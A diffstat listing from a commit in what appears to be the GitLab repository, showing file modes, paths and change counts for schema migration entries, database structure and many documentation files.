-rw-r--r--db/schema_migrations/202105270650051
-rw-r--r--db/schema_migrations/202105271305241
-rw-r--r--db/schema_migrations/202105271310391
-rw-r--r--db/schema_migrations/202105271339191
-rw-r--r--db/schema_migrations/202105271340191
-rw-r--r--db/schema_migrations/202105271855421
-rw-r--r--db/schema_migrations/202105271945581
-rw-r--r--db/schema_migrations/202105291642471
-rw-r--r--db/schema_migrations/202105310539161
-rw-r--r--db/schema_migrations/202105310541081
-rw-r--r--db/schema_migrations/202105310704521
-rw-r--r--db/schema_migrations/202105310711071
-rw-r--r--db/schema_migrations/202106010734001
-rw-r--r--db/schema_migrations/202106010800391
-rw-r--r--db/schema_migrations/202106011233411
-rw-r--r--db/schema_migrations/202106011254101
-rw-r--r--db/schema_migrations/202106011317421
-rw-r--r--db/schema_migrations/202106011321341
-rw-r--r--db/schema_migrations/202106011334591
-rw-r--r--db/schema_migrations/202106021222131
-rw-r--r--db/schema_migrations/202106021222331
-rw-r--r--db/schema_migrations/202106021550561
-rw-r--r--db/schema_migrations/202110041201351
-rw-r--r--db/schema_migrations/202112061626011
-rw-r--r--db/schema_migrations/202208261524301
-rw-r--r--db/schema_migrations/202208261524321
-rw-r--r--db/schema_migrations/202210101911361
-rw-r--r--db/schema_migrations/202211022311311
-rw-r--r--db/schema_migrations/202211101006001
-rw-r--r--db/schema_migrations/202211101006021
-rw-r--r--db/schema_migrations/202211222107111
-rw-r--r--db/schema_migrations/202212040904371
-rw-r--r--db/schema_migrations/202212091741321
-rw-r--r--db/schema_migrations/202212091741571
-rw-r--r--db/schema_migrations/202212092359391
-rw-r--r--db/schema_migrations/202212092359401
-rw-r--r--db/schema_migrations/202212120546401
-rw-r--r--db/schema_migrations/202212121924521
-rw-r--r--db/schema_migrations/202212121925271
-rw-r--r--db/schema_migrations/202212131050281
-rw-r--r--db/schema_migrations/202212140951291
-rw-r--r--db/schema_migrations/202212141053071
-rw-r--r--db/schema_migrations/202212142012561
-rw-r--r--db/schema_migrations/202212142042471
-rw-r--r--db/schema_migrations/202212151518221
-rw-r--r--db/schema_migrations/202212152103471
-rw-r--r--db/schema_migrations/202212161317101
-rw-r--r--db/schema_migrations/202212161319351
-rw-r--r--db/schema_migrations/202212161319581
-rw-r--r--db/schema_migrations/202212161448541
-rw-r--r--db/schema_migrations/202212161503041
-rw-r--r--db/schema_migrations/202212161503211
-rw-r--r--db/schema_migrations/202212161509191
-rw-r--r--db/schema_migrations/202212161514591
-rw-r--r--db/schema_migrations/202212161516491
-rw-r--r--db/schema_migrations/202212162326581
-rw-r--r--db/schema_migrations/202212162326591
-rw-r--r--db/schema_migrations/202212191030071
-rw-r--r--db/schema_migrations/202212191125281
-rw-r--r--db/schema_migrations/202212191355351
-rw-r--r--db/schema_migrations/202212200759361
-rw-r--r--db/schema_migrations/202212201310201
-rw-r--r--db/schema_migrations/202212211107331
-rw-r--r--db/schema_migrations/202212211341161
-rw-r--r--db/schema_migrations/202212211501231
-rw-r--r--db/schema_migrations/202212211712391
-rw-r--r--db/schema_migrations/202212220929581
-rw-r--r--db/schema_migrations/202212221449541
-rw-r--r--db/schema_migrations/202212231145431
-rw-r--r--db/schema_migrations/202212231230191
-rw-r--r--db/schema_migrations/202212261053231
-rw-r--r--db/schema_migrations/202212261320381
-rw-r--r--db/schema_migrations/202212261532401
-rw-r--r--db/schema_migrations/202212261544581
-rw-r--r--db/schema_migrations/202212261632031
-rw-r--r--db/schema_migrations/202212270806061
-rw-r--r--db/schema_migrations/202212271007511
-rw-r--r--db/schema_migrations/202212271008461
-rw-r--r--db/schema_migrations/202212271009081
-rw-r--r--db/schema_migrations/202212271014361
-rw-r--r--db/schema_migrations/202212280638451
-rw-r--r--db/schema_migrations/202212280834521
-rw-r--r--db/schema_migrations/202212281031331
-rw-r--r--db/schema_migrations/202212281612141
-rw-r--r--db/schema_migrations/202212281630351
-rw-r--r--db/schema_migrations/202212282106161
-rw-r--r--db/schema_migrations/202301041037481
-rw-r--r--db/schema_migrations/202301041506001
-rw-r--r--db/schema_migrations/202301041506011
-rw-r--r--db/schema_migrations/202301042201371
-rw-r--r--db/schema_migrations/202301042240201
-rw-r--r--db/schema_migrations/202301051704141
-rw-r--r--db/schema_migrations/202301051721201
-rw-r--r--db/schema_migrations/202301051800021
-rw-r--r--db/schema_migrations/202301061243321
-rw-r--r--db/schema_migrations/202301061259451
-rw-r--r--db/schema_migrations/202301061316591
-rw-r--r--db/schema_migrations/202301061422391
-rw-r--r--db/schema_migrations/202301090951591
-rw-r--r--db/schema_migrations/202301091213131
-rw-r--r--db/schema_migrations/202301092159211
-rw-r--r--db/schema_migrations/202301100311311
-rw-r--r--db/schema_migrations/202301101727511
-rw-r--r--db/schema_migrations/202301110925101
-rw-r--r--db/schema_migrations/202301111245121
-rw-r--r--db/schema_migrations/202301111251481
-rw-r--r--db/schema_migrations/202301111251501
-rw-r--r--db/schema_migrations/202301111326211
-rw-r--r--db/schema_migrations/202301120148221
-rw-r--r--db/schema_migrations/202301120851431
-rw-r--r--db/schema_migrations/202301121042531
-rw-r--r--db/schema_migrations/202301121045261
-rw-r--r--db/schema_migrations/202301121046361
-rw-r--r--db/schema_migrations/202301130032551
-rw-r--r--db/schema_migrations/202301160838261
-rw-r--r--db/schema_migrations/202301160906301
-rw-r--r--db/schema_migrations/202301160908521
-rw-r--r--db/schema_migrations/202301160909201
-rw-r--r--db/schema_migrations/202301160916261
-rw-r--r--db/schema_migrations/202301161112521
-rw-r--r--db/schema_migrations/202301171137191
-rw-r--r--db/schema_migrations/202301171456281
-rw-r--r--db/structure.sql338
-rw-r--r--doc/.vale/gitlab/GitLabFlavoredMarkdown.yml14
-rw-r--r--doc/.vale/gitlab/HeadingDepth.yml4
-rw-r--r--doc/.vale/gitlab/SentenceLength.yml4
-rw-r--r--doc/.vale/gitlab/Spelling.yml2
-rw-r--r--doc/.vale/gitlab/SubstitutionWarning.yml6
-rw-r--r--doc/.vale/gitlab/TabsLinks.yml13
-rw-r--r--doc/.vale/gitlab/Uppercase.yml9
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt10
-rw-r--r--doc/administration/audit_event_streaming.md2
-rw-r--r--doc/administration/audit_events.md2
-rw-r--r--doc/administration/auditor_users.md1
-rw-r--r--doc/administration/auth/ldap/google_secure_ldap.md24
-rw-r--r--doc/administration/auth/ldap/index.md747
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md6
-rw-r--r--doc/administration/auth/ldap/ldap_synchronization.md2
-rw-r--r--doc/administration/clusters/kas.md35
-rw-r--r--doc/administration/docs_self_host.md2
-rw-r--r--doc/administration/geo/disaster_recovery/bring_primary_back.md10
-rw-r--r--doc/administration/geo/disaster_recovery/index.md21
-rw-r--r--doc/administration/geo/index.md23
-rw-r--r--doc/administration/geo/replication/configuration.md2
-rw-r--r--doc/administration/geo/replication/datatypes.md2
-rw-r--r--doc/administration/geo/replication/location_aware_git_url.md2
-rw-r--r--doc/administration/geo/replication/remove_geo_site.md5
-rw-r--r--doc/administration/geo/replication/single_sign_on.md122
-rw-r--r--doc/administration/geo/replication/troubleshooting.md46
-rw-r--r--doc/administration/geo/replication/version_specific_upgrades.md9
-rw-r--r--doc/administration/get_started.md4
-rw-r--r--doc/administration/gitaly/index.md6
-rw-r--r--doc/administration/gitaly/praefect.md7
-rw-r--r--doc/administration/gitaly/troubleshooting.md2
-rw-r--r--doc/administration/housekeeping.md75
-rw-r--r--doc/administration/incoming_email.md30
-rw-r--r--doc/administration/instance_limits.md2
-rw-r--r--doc/administration/job_artifacts.md417
-rw-r--r--doc/administration/job_logs.md241
-rw-r--r--doc/administration/lfs/index.md401
-rw-r--r--doc/administration/load_balancer.md4
-rw-r--r--doc/administration/logs/tracing_correlation_id.md2
-rw-r--r--doc/administration/merge_request_diffs.md2
-rw-r--r--doc/administration/monitoring/performance/grafana_configuration.md8
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md8
-rw-r--r--doc/administration/object_storage.md6
-rw-r--r--doc/administration/operations/fast_ssh_key_lookup.md3
-rw-r--r--doc/administration/operations/moving_repositories.md45
-rw-r--r--doc/administration/operations/puma.md78
-rw-r--r--doc/administration/operations/rails_console.md6
-rw-r--r--doc/administration/package_information/supported_os.md10
-rw-r--r--doc/administration/packages/container_registry.md11
-rw-r--r--doc/administration/pages/index.md8
-rw-r--r--doc/administration/pages/source.md2
-rw-r--r--doc/administration/postgresql/multiple_databases.md1
-rw-r--r--doc/administration/raketasks/github_import.md7
-rw-r--r--doc/administration/redis/replication_and_failover.md8
-rw-r--r--doc/administration/reference_architectures/10k_users.md4
-rw-r--r--doc/administration/snippets/index.md2
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md2
-rw-r--r--doc/api/appearance.md17
-rw-r--r--doc/api/container_registry.md4
-rw-r--r--doc/api/environments.md27
-rw-r--r--doc/api/feature_flags.md2
-rw-r--r--doc/api/geo_nodes.md35
-rw-r--r--doc/api/graphql/audit_report.md2
-rw-r--r--doc/api/graphql/branch_rules.md137
-rw-r--r--doc/api/graphql/getting_started.md4
-rw-r--r--doc/api/graphql/img/list_branch_rules_query_example_v15_8.pngbin0 -> 79524 bytes
-rw-r--r--doc/api/graphql/index.md4
-rw-r--r--doc/api/graphql/reference/index.md442
-rw-r--r--doc/api/graphql/users_example.md3
-rw-r--r--doc/api/group_badges.md2
-rw-r--r--doc/api/group_level_variables.md4
-rw-r--r--doc/api/group_repository_storage_moves.md2
-rw-r--r--doc/api/groups.md27
-rw-r--r--doc/api/import.md46
-rw-r--r--doc/api/index.md1
-rw-r--r--doc/api/integrations.md38
-rw-r--r--doc/api/linked_epics.md12
-rw-r--r--doc/api/merge_request_approvals.md217
-rw-r--r--doc/api/merge_requests.md19
-rw-r--r--doc/api/metadata.md3
-rw-r--r--doc/api/notes.md8
-rw-r--r--doc/api/oauth2.md10
-rw-r--r--doc/api/packages/debian.md94
-rw-r--r--doc/api/project_import_export.md3
-rw-r--r--doc/api/project_repository_storage_moves.md7
-rw-r--r--doc/api/project_snippets.md4
-rw-r--r--doc/api/projects.md33
-rw-r--r--doc/api/protected_branches.md2
-rw-r--r--doc/api/releases/index.md30
-rw-r--r--doc/api/remote_mirrors.md16
-rw-r--r--doc/api/repositories.md2
-rw-r--r--doc/api/runners.md20
-rw-r--r--doc/api/scim.md2
-rw-r--r--doc/api/search.md2
-rw-r--r--doc/api/secure_files.md7
-rw-r--r--doc/api/settings.md41
-rw-r--r--doc/api/snippet_repository_storage_moves.md6
-rw-r--r--doc/api/snippets.md4
-rw-r--r--doc/api/todos.md2
-rw-r--r--doc/api/topics.md2
-rw-r--r--doc/api/users.md82
-rw-r--r--doc/api/v3_to_v4.md11
-rw-r--r--doc/architecture/blueprints/ci_data_decay/index.md4
-rw-r--r--doc/architecture/blueprints/ci_pipeline_components/index.md150
-rw-r--r--doc/architecture/blueprints/ci_scale/index.md2
-rw-r--r--doc/architecture/blueprints/cloud_native_build_logs/index.md2
-rw-r--r--doc/architecture/blueprints/cloud_native_gitlab_pages/index.md2
-rw-r--r--doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md4
-rw-r--r--doc/architecture/blueprints/feature_flags_development/index.md6
-rw-r--r--doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md8
-rw-r--r--doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.pngbin257144 -> 74153 bytes
-rw-r--r--doc/architecture/blueprints/graphql_api/index.md2
-rw-r--r--doc/architecture/blueprints/image_resizing/index.md2
-rw-r--r--doc/architecture/blueprints/pods/index.md14
-rw-r--r--doc/architecture/blueprints/pods/pods-feature-backups.md61
-rw-r--r--doc/architecture/blueprints/pods/pods-feature-secrets.md48
-rw-r--r--doc/architecture/blueprints/pods/proposal-stateless-router-with-buffering-requests.md4
-rw-r--r--doc/architecture/blueprints/pods/proposal-stateless-router-with-routes-learning.md2
-rw-r--r--doc/architecture/blueprints/rate_limiting/index.md51
-rw-r--r--doc/architecture/blueprints/remote_development/img/remote_dev_15_7_1.pngbin98016 -> 47551 bytes
-rw-r--r--doc/architecture/blueprints/remote_development/index.md2
-rw-r--r--doc/architecture/blueprints/runner_scaling/index.md4
-rw-r--r--doc/architecture/blueprints/runner_tokens/index.md70
-rw-r--r--doc/architecture/blueprints/secret_detection/index.md167
-rw-r--r--doc/architecture/blueprints/work_items/index.md3
-rw-r--r--doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md2
-rw-r--r--doc/ci/cloud_deployment/index.md4
-rw-r--r--doc/ci/docker/using_docker_build.md6
-rw-r--r--doc/ci/docker/using_kaniko.md2
-rw-r--r--doc/ci/environments/deployment_approvals.md17
-rw-r--r--doc/ci/environments/deployment_safety.md2
-rw-r--r--doc/ci/environments/index.md17
-rw-r--r--doc/ci/environments/protected_environments.md2
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md2
-rw-r--r--doc/ci/index.md2
-rw-r--r--doc/ci/introduction/index.md8
-rw-r--r--doc/ci/jobs/ci_job_token.md2
-rw-r--r--doc/ci/jobs/index.md12
-rw-r--r--doc/ci/jobs/job_control.md12
-rw-r--r--doc/ci/migration/circleci.md2
-rw-r--r--doc/ci/migration/jenkins.md4
-rw-r--r--doc/ci/pipelines/cicd_minutes.md15
-rw-r--r--doc/ci/pipelines/downstream_pipelines.md16
-rw-r--r--doc/ci/pipelines/index.md4
-rw-r--r--doc/ci/pipelines/job_artifacts.md2
-rw-r--r--doc/ci/pipelines/merge_request_pipelines.md10
-rw-r--r--doc/ci/pipelines/settings.md5
-rw-r--r--doc/ci/quick_start/index.md9
-rw-r--r--doc/ci/runners/configure_runners.md23
-rw-r--r--doc/ci/runners/saas/linux_saas_runner.md2
-rw-r--r--doc/ci/secrets/index.md4
-rw-r--r--doc/ci/secure_files/index.md16
-rw-r--r--doc/ci/services/index.md2
-rw-r--r--doc/ci/ssh_keys/index.md2
-rw-r--r--doc/ci/test_cases/index.md6
-rw-r--r--doc/ci/testing/code_quality.md736
-rw-r--r--doc/ci/testing/img/code_quality_host_bound_sequential.pngbin12345 -> 0 bytes
-rw-r--r--doc/ci/triggers/index.md2
-rw-r--r--doc/ci/troubleshooting.md4
-rw-r--r--doc/ci/variables/img/ci_job_stage_output_example.pngbin55081 -> 0 bytes
-rw-r--r--doc/ci/variables/img/custom_variables_output.pngbin32344 -> 0 bytes
-rw-r--r--doc/ci/variables/img/inherited_group_variables_v12_5.pngbin20448 -> 0 bytes
-rw-r--r--doc/ci/variables/index.md538
-rw-r--r--doc/ci/variables/predefined_variables.md24
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md1
-rw-r--r--doc/ci/yaml/artifacts_reports.md4
-rw-r--r--doc/ci/yaml/includes.md110
-rw-r--r--doc/ci/yaml/index.md97
-rw-r--r--doc/ci/yaml/script.md58
-rw-r--r--doc/ci/yaml/yaml_optimization.md51
-rw-r--r--doc/development/adding_service_component.md6
-rw-r--r--doc/development/api_graphql_styleguide.md2
-rw-r--r--doc/development/application_slis/index.md2
-rw-r--r--doc/development/approval_rules.md2
-rw-r--r--doc/development/architecture.md7
-rw-r--r--doc/development/audit_event_guide/index.md2
-rw-r--r--doc/development/auto_devops.md2
-rw-r--r--doc/development/backend/create_source_code_be/index.md5
-rw-r--r--doc/development/cached_queries.md6
-rw-r--r--doc/development/chatops_on_gitlabcom.md4
-rw-r--r--doc/development/cicd/cicd_reference_documentation_guide.md2
-rw-r--r--doc/development/cicd/index.md4
-rw-r--r--doc/development/cicd/schema.md6
-rw-r--r--doc/development/cicd/templates.md2
-rw-r--r--doc/development/code_intelligence/index.md2
-rw-r--r--doc/development/code_review.md10
-rw-r--r--doc/development/contributing/design.md13
-rw-r--r--doc/development/contributing/issue_workflow.md2
-rw-r--r--doc/development/contributing/merge_request_workflow.md4
-rw-r--r--doc/development/dangerbot.md4
-rw-r--r--doc/development/database/adding_database_indexes.md36
-rw-r--r--doc/development/database/avoiding_downtime_in_migrations.md62
-rw-r--r--doc/development/database/batched_background_migrations.md2
-rw-r--r--doc/development/database/constraint_naming_convention.md2
-rw-r--r--doc/development/database/database_dictionary.md115
-rw-r--r--doc/development/database/database_lab.md39
-rw-r--r--doc/development/database/index.md66
-rw-r--r--doc/development/database/pagination_guidelines.md2
-rw-r--r--doc/development/database/query_recorder.md8
-rw-r--r--doc/development/database/required_stops.md41
-rw-r--r--doc/development/database/setting_multiple_values.md2
-rw-r--r--doc/development/database/table_partitioning.md10
-rw-r--r--doc/development/database_review.md2
-rw-r--r--doc/development/deprecation_guidelines/img/deprecation_removal_process.pngbin27632 -> 23344 bytes
-rw-r--r--doc/development/deprecation_guidelines/index.md6
-rw-r--r--doc/development/diffs.md202
-rw-r--r--doc/development/distributed_tracing.md2
-rw-r--r--doc/development/documentation/index.md2
-rw-r--r--doc/development/documentation/styleguide/index.md19
-rw-r--r--doc/development/documentation/styleguide/word_list.md29
-rw-r--r--doc/development/documentation/testing.md22
-rw-r--r--doc/development/documentation/topic_types/concept.md15
-rw-r--r--doc/development/documentation/topic_types/index.md2
-rw-r--r--doc/development/documentation/workflow.md2
-rw-r--r--doc/development/ee_features.md5
-rw-r--r--doc/development/elasticsearch.md85
-rw-r--r--doc/development/experiment_guide/implementing_experiments.md2
-rw-r--r--doc/development/fe_guide/content_editor.md6
-rw-r--r--doc/development/fe_guide/customizable_dashboards.md4
-rw-r--r--doc/development/fe_guide/merge_request_widget_extensions.md4
-rw-r--r--doc/development/fe_guide/source_editor.md2
-rw-r--r--doc/development/fe_guide/style/scss.md35
-rw-r--r--doc/development/fe_guide/view_component.md4
-rw-r--r--doc/development/fe_guide/vuex.md4
-rw-r--r--doc/development/feature_categorization/index.md29
-rw-r--r--doc/development/feature_development.md2
-rw-r--r--doc/development/feature_flags/controls.md15
-rw-r--r--doc/development/features_inside_dot_gitlab.md2
-rw-r--r--doc/development/fips_compliance.md2
-rw-r--r--doc/development/geo.md6
-rw-r--r--doc/development/gitlab_flavored_markdown/index.md4
-rw-r--r--doc/development/gitlab_flavored_markdown/specification_guide/index.md25
-rw-r--r--doc/development/gitlab_shell/features.md89
-rw-r--r--doc/development/gitlab_shell/gitlab_sshd.md36
-rw-r--r--doc/development/gitlab_shell/index.md222
-rw-r--r--doc/development/gitlab_shell/process.md71
-rw-r--r--doc/development/go_guide/go_upgrade.md2
-rw-r--r--doc/development/i18n/proofreader.md1
-rw-r--r--doc/development/image_scaling.md2
-rw-r--r--doc/development/img/feature-flag-metrics.pngbin0 -> 88110 bytes
-rw-r--r--doc/development/integrations/index.md2
-rw-r--r--doc/development/integrations/jenkins.md2
-rw-r--r--doc/development/integrations/jira_connect.md2
-rw-r--r--doc/development/integrations/secure.md4
-rw-r--r--doc/development/internal_api/index.md225
-rw-r--r--doc/development/kubernetes.md2
-rw-r--r--doc/development/lfs.md2
-rw-r--r--doc/development/logging.md2
-rw-r--r--doc/development/maintenance_mode.md2
-rw-r--r--doc/development/merge_request_concepts/diffs/development.md188
-rw-r--r--doc/development/merge_request_concepts/diffs/index.md199
-rw-r--r--doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png (renamed from doc/development/img/merge_ref_head_options_v13_6.png)bin21605 -> 21605 bytes
-rw-r--r--doc/development/merge_request_concepts/performance.md565
-rw-r--r--doc/development/merge_request_diffs.md11
-rw-r--r--doc/development/merge_request_performance_guidelines.md568
-rw-r--r--doc/development/migration_style_guide.md16
-rw-r--r--doc/development/pages/index.md2
-rw-r--r--doc/development/performance.md4
-rw-r--r--doc/development/permissions.md2
-rw-r--r--doc/development/pipelines/index.md90
-rw-r--r--doc/development/pipelines/internals.md61
-rw-r--r--doc/development/project_templates.md4
-rw-r--r--doc/development/prometheus_metrics.md2
-rw-r--r--doc/development/rake_tasks.md71
-rw-r--r--doc/development/reusing_abstractions.md2
-rw-r--r--doc/development/sec/analyzer_development_guide.md2
-rw-r--r--doc/development/sec/index.md2
-rw-r--r--doc/development/secure_coding_guidelines.md2
-rw-r--r--doc/development/service_ping/implement.md4
-rw-r--r--doc/development/service_ping/index.md2
-rw-r--r--doc/development/service_ping/metrics_dictionary.md4
-rw-r--r--doc/development/service_ping/metrics_instrumentation.md6
-rw-r--r--doc/development/sidekiq/index.md13
-rw-r--r--doc/development/snowplow/implementation.md2
-rw-r--r--doc/development/snowplow/index.md5
-rw-r--r--doc/development/software_design.md2
-rw-r--r--doc/development/spam_protection_and_captcha/exploratory_testing.md8
-rw-r--r--doc/development/spam_protection_and_captcha/graphql_api.md4
-rw-r--r--doc/development/spam_protection_and_captcha/index.md4
-rw-r--r--doc/development/spam_protection_and_captcha/model_and_services.md4
-rw-r--r--doc/development/spam_protection_and_captcha/rest_api.md4
-rw-r--r--doc/development/spam_protection_and_captcha/web_ui.md4
-rw-r--r--doc/development/testing_guide/best_practices.md8
-rw-r--r--doc/development/testing_guide/contract/consumer_tests.md44
-rw-r--r--doc/development/testing_guide/contract/index.md26
-rw-r--r--doc/development/testing_guide/contract/provider_tests.md52
-rw-r--r--doc/development/testing_guide/end_to_end/index.md19
-rw-r--r--doc/development/testing_guide/end_to_end/resources.md180
-rw-r--r--doc/development/testing_guide/frontend_testing.md4
-rw-r--r--doc/development/testing_guide/img/testing_triangle.pngbin32902 -> 13854 bytes
-rw-r--r--doc/development/testing_guide/testing_migrations_guide.md2
-rw-r--r--doc/development/utilities.md2
-rw-r--r--doc/development/value_stream_analytics.md2
-rw-r--r--doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md2
-rw-r--r--doc/development/wikis.md2
-rw-r--r--doc/development/workspace/index.md61
-rw-r--r--doc/gitlab-basics/start-using-git.md2
-rw-r--r--doc/install/installation.md26
-rw-r--r--doc/install/requirements.md16
-rw-r--r--doc/integration/gitlab.md4
-rw-r--r--doc/integration/glab/index.md24
-rw-r--r--doc/integration/google.md2
-rw-r--r--doc/integration/jira/connect-app.md53
-rw-r--r--doc/integration/jira/development_panel.md4
-rw-r--r--doc/integration/jira/dvcs.md286
-rw-r--r--doc/integration/jira/dvcs/index.md152
-rw-r--r--doc/integration/jira/dvcs/troubleshooting.md149
-rw-r--r--doc/integration/jira/img/jira_dev_panel_manual_refresh.pngbin23542 -> 0 bytes
-rw-r--r--doc/integration/oauth_provider.md79
-rw-r--r--doc/integration/openid_connect_provider.md27
-rw-r--r--doc/integration/recaptcha.md4
-rw-r--r--doc/integration/saml.md150
-rw-r--r--doc/integration/vault.md2
-rw-r--r--doc/operations/feature_flags.md7
-rw-r--r--doc/operations/incident_management/alerts.md9
-rw-r--r--doc/operations/incident_management/img/incident_list_v15_6.pngbin53028 -> 20804 bytes
-rw-r--r--doc/operations/incident_management/linked_resources.md4
-rw-r--r--doc/operations/incident_management/slack.md4
-rw-r--r--doc/operations/metrics/alerts.md13
-rw-r--r--doc/operations/metrics/embed_grafana.md2
-rw-r--r--doc/operations/metrics/index.md2
-rw-r--r--doc/policy/alpha-beta-support.md47
-rw-r--r--doc/raketasks/backup_gitlab.md14
-rw-r--r--doc/raketasks/import.md20
-rw-r--r--doc/raketasks/restore_gitlab.md2
-rw-r--r--doc/security/rate_limits.md12
-rw-r--r--doc/security/token_overview.md2
-rw-r--r--doc/subscriptions/bronze_starter.md6
-rw-r--r--doc/subscriptions/gitlab_com/index.md22
-rw-r--r--doc/subscriptions/index.md26
-rw-r--r--doc/subscriptions/self_managed/index.md92
-rw-r--r--doc/topics/authentication/index.md2
-rw-r--r--doc/topics/autodevops/cicd_variables.md31
-rw-r--r--doc/topics/autodevops/customize.md399
-rw-r--r--doc/topics/autodevops/multiple_clusters_auto_devops.md2
-rw-r--r--doc/topics/autodevops/stages.md4
-rw-r--r--doc/topics/autodevops/troubleshooting.md2
-rw-r--r--doc/topics/autodevops/upgrading_auto_deploy_dependencies.md2
-rw-r--r--doc/topics/autodevops/upgrading_postgresql.md4
-rw-r--r--doc/topics/awesome_co.md6
-rw-r--r--doc/topics/git/troubleshooting_git.md10
-rw-r--r--doc/topics/gitlab_flow.md65
-rw-r--r--doc/topics/plan_and_track.md1
-rw-r--r--doc/topics/release_your_application.md90
-rw-r--r--doc/topics/set_up_organization.md2
-rw-r--r--doc/tutorials/agile_sprint.md2
-rw-r--r--doc/tutorials/move_personal_project_to_a_group.md2
-rw-r--r--doc/update/background_migrations.md34
-rw-r--r--doc/update/deprecations.md738
-rw-r--r--doc/update/index.md32
-rw-r--r--doc/update/with_downtime.md18
-rw-r--r--doc/update/zero_downtime.md10
-rw-r--r--doc/user/admin_area/custom_project_templates.md2
-rw-r--r--doc/user/admin_area/index.md75
-rw-r--r--doc/user/admin_area/license_file.md6
-rw-r--r--doc/user/admin_area/moderate_users.md4
-rw-r--r--doc/user/admin_area/reporting/git_abuse_rate_limit.md4
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md13
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md4
-rw-r--r--doc/user/admin_area/settings/help_page.md2
-rw-r--r--doc/user/admin_area/settings/instance_template_repository.md4
-rw-r--r--doc/user/admin_area/settings/sign_in_restrictions.md5
-rw-r--r--doc/user/admin_area/settings/terms.md2
-rw-r--r--doc/user/admin_area/settings/third_party_offers.md2
-rw-r--r--doc/user/admin_area/settings/usage_statistics.md4
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md28
-rw-r--r--doc/user/analytics/dora_metrics.md2
-rw-r--r--doc/user/analytics/img/devops_metrics_comparison_v15_8.pngbin0 -> 82446 bytes
-rw-r--r--doc/user/analytics/index.md8
-rw-r--r--doc/user/analytics/value_streams_dashboard.md61
-rw-r--r--doc/user/application_security/api_fuzzing/index.md6
-rw-r--r--doc/user/application_security/container_scanning/index.md6
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md9
-rw-r--r--doc/user/application_security/dast/authentication.md4
-rw-r--r--doc/user/application_security/dast/browser_based.md16
-rw-r--r--doc/user/application_security/dast_api/index.md8
-rw-r--r--doc/user/application_security/dependency_scanning/analyzers.md13
-rw-r--r--doc/user/application_security/dependency_scanning/index.md64
-rw-r--r--doc/user/application_security/iac_scanning/index.md4
-rw-r--r--doc/user/application_security/index.md6
-rw-r--r--doc/user/application_security/offline_deployments/index.md4
-rw-r--r--doc/user/application_security/policies/scan-result-policies.md18
-rw-r--r--doc/user/application_security/sast/analyzers.md2
-rw-r--r--doc/user/application_security/sast/customize_rulesets.md2
-rw-r--r--doc/user/application_security/sast/index.md74
-rw-r--r--doc/user/application_security/secret_detection/post_processing.md2
-rw-r--r--doc/user/application_security/vulnerabilities/index.md2
-rw-r--r--doc/user/clusters/agent/ci_cd_workflow.md2
-rw-r--r--doc/user/clusters/agent/troubleshooting.md10
-rw-r--r--doc/user/clusters/agent/vulnerabilities.md6
-rw-r--r--doc/user/clusters/management_project_template.md4
-rw-r--r--doc/user/compliance/license_compliance/index.md8
-rw-r--r--doc/user/crm/index.md40
-rw-r--r--doc/user/discussions/index.md21
-rw-r--r--doc/user/free_user_limit.md13
-rw-r--r--doc/user/group/access_and_permissions.md57
-rw-r--r--doc/user/group/clusters/index.md2
-rw-r--r--doc/user/group/compliance_frameworks.md8
-rw-r--r--doc/user/group/custom_project_templates.md6
-rw-r--r--doc/user/group/epics/linked_epics.md8
-rw-r--r--doc/user/group/epics/manage_epics.md26
-rw-r--r--doc/user/group/import/img/bulk_imports_v14_1.pngbin24726 -> 0 bytes
-rw-r--r--doc/user/group/import/index.md64
-rw-r--r--doc/user/group/index.md4
-rw-r--r--doc/user/group/manage.md4
-rw-r--r--doc/user/group/reporting/git_abuse_rate_limit.md8
-rw-r--r--doc/user/group/saml_sso/group_sync.md39
-rw-r--r--doc/user/group/saml_sso/index.md8
-rw-r--r--doc/user/group/saml_sso/scim_setup.md4
-rw-r--r--doc/user/group/saml_sso/troubleshooting.md18
-rw-r--r--doc/user/group/saml_sso/troubleshooting_scim.md2
-rw-r--r--doc/user/group/subgroups/index.md25
-rw-r--r--doc/user/group/value_stream_analytics/index.md4
-rw-r--r--doc/user/infrastructure/clusters/connect/new_eks_cluster.md47
-rw-r--r--doc/user/infrastructure/clusters/manage/management_project_applications/runner.md2
-rw-r--r--doc/user/infrastructure/iac/gitlab_terraform_helpers.md137
-rw-r--r--doc/user/infrastructure/iac/terraform_state.md4
-rw-r--r--doc/user/infrastructure/iac/terraform_template_recipes.md48
-rw-r--r--doc/user/infrastructure/iac/troubleshooting.md2
-rw-r--r--doc/user/instance/clusters/index.md2
-rw-r--r--doc/user/markdown.md44
-rw-r--r--doc/user/namespace/index.md9
-rw-r--r--doc/user/okrs.md254
-rw-r--r--doc/user/packages/container_registry/authenticate_with_container_registry.md60
-rw-r--r--doc/user/packages/container_registry/build_and_push_images.md214
-rw-r--r--doc/user/packages/container_registry/delete_container_registry_images.md117
-rw-r--r--doc/user/packages/container_registry/index.md510
-rw-r--r--doc/user/packages/container_registry/reduce_container_registry_storage.md4
-rw-r--r--doc/user/packages/container_registry/troubleshoot_container_registry.md2
-rw-r--r--doc/user/packages/dependency_proxy/index.md2
-rw-r--r--doc/user/packages/maven_repository/index.md2
-rw-r--r--doc/user/packages/package_registry/index.md2
-rw-r--r--doc/user/packages/package_registry/reduce_package_registry_storage.md2
-rw-r--r--doc/user/packages/package_registry/supported_functionality.md146
-rw-r--r--doc/user/packages/package_registry/supported_hash_types.md28
-rw-r--r--doc/user/permissions.md47
-rw-r--r--doc/user/profile/account/two_factor_authentication.md2
-rw-r--r--doc/user/profile/contributions_calendar.md2
-rw-r--r--doc/user/profile/index.md8
-rw-r--r--doc/user/profile/notifications.md65
-rw-r--r--doc/user/profile/personal_access_tokens.md3
-rw-r--r--doc/user/project/clusters/deploy_to_cluster.md4
